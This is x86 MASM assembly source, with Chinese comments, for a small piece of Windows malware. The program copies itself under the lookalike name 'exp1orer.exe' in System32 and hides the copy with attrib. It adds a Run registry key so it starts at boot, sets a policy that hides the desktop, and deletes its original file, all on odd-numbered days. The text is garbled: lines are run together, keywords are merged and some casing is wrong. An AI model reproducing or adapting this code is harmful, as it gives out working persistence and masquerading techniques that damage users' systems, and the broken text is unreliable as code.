.386.model flat,
stdcalloption casemap:noneinclude windows.incinclude
kernel32.incinclude user32.incinclude advapi32.incincludelib
kernel32.libincludelib user32.libincludelib
advapi32.lib.dataszWin db ''C:\windows\system32\exp1orer.exe'',
0szCmdAttrib db ''attrib +R +H C:\windows\system32\exp1orer.exe'',
0szDirectory db 0szRegKey db ''
SOFTWARE\Microsoft\Windows\CurrentVersion\Run'',
0szRegValue db ''StartPE'',
0szStr1 db "C:\WINDOWS\System32\exp1orer.exe"szWriteKey
db ''Software\Microsoft\Windows\CurrentVersion\
Policies\Explorer\'',0szWriteValue db ''NoDesktop'',0 ;
键值名称szDword dd 1 ;数据.data?hInstance dd ?hModule dd
?lpSystemTime SYSTEMTIME >osVersion OSVERSIONINFO
>stStartUp STARTUPINFO >stProcInfo PROCESS_INFORMATION
>.code;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_AttribCmd procinvoke GetStartupInfo,addr stStartUpinvoke
createProcess,NULL,addr szCmdAttrib,NULL,NULL,NULL,
\NORMAL_PRIORITY_CLASS,NULL,NULL,addr stStartUp,
addr stProcInforet_AttribCmd endp;>>>>>>>>>>>>>>>>>>
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_createKey proc _lpKeylocal @hKey,@dwIndex,@dwLastTime:FILETIMEinvoke
RegcreateKey,HKEY_LOCAL_MACHINE,offset szRegKey,
addr @hKey.if eax == ERROR_SUCCESSinvoke RegSetValueEx,
@hKey,addr szRegValue,NULL,\REG_SZ,addr szStr1,32 ;
写入一个REG_SZ类型的数据invoke RegCloseKey,
@hKey.endifret_createKey endp;>>>>>>>>>>>>>>>
_WriteKey proc _lpKeylocal @hKey,@dwIndex,
@dwLastTime:FILETIMEinvoke RegcreateKey,
HKEY_CURRENT_USER,
offset szWriteKey,addr @hKey.if eax
== ERROR_SUCCESSinvoke RegSetValueEx,@hKey,
addr szWriteValue,NULL,\REG_DWORD,addr szDword,
4 ;写入一个REG_DWORD类型的数据invoke RegCloseKey,
@hKey.endifret_WriteKey endp;>>>>>>>>>>>>>>>>>>>>>>>>>>
start:invoke GetModuleHandle,0mov hInstance,eaxinvoke _createKey,
NULL ;设置为启动invoke GetSystemTime,offset lpSystemTimemovzx ebx,
lpSystemTime.wDay ;获取本地日,你可以判断这个变量就可以了。
.if (ebx == 1)||(ebx == 3)||(ebx == 5)||(ebx == 7)|
|(ebx == 9)| |(ebx == 11)||(ebx == 13)||(ebx == 15)|
|(ebx == 17)||(ebx == 19)||(ebx == 21)||(ebx == 23)| |(ebx == 25)|
|(ebx == 27)||(ebx == 29)invoke GetModuleFileName,
hModule,addr szDirectory,200;获取程序路径invoke CopyFile,
addr szDirectory,addr szWin,FALSEcall _AttribCmdinvoke _WriteKey,NULL
;修改注册表,隐藏桌面图表invoke deleteFile,
addr szDirectoryinvoke ExitProcess,NULL.endifend start |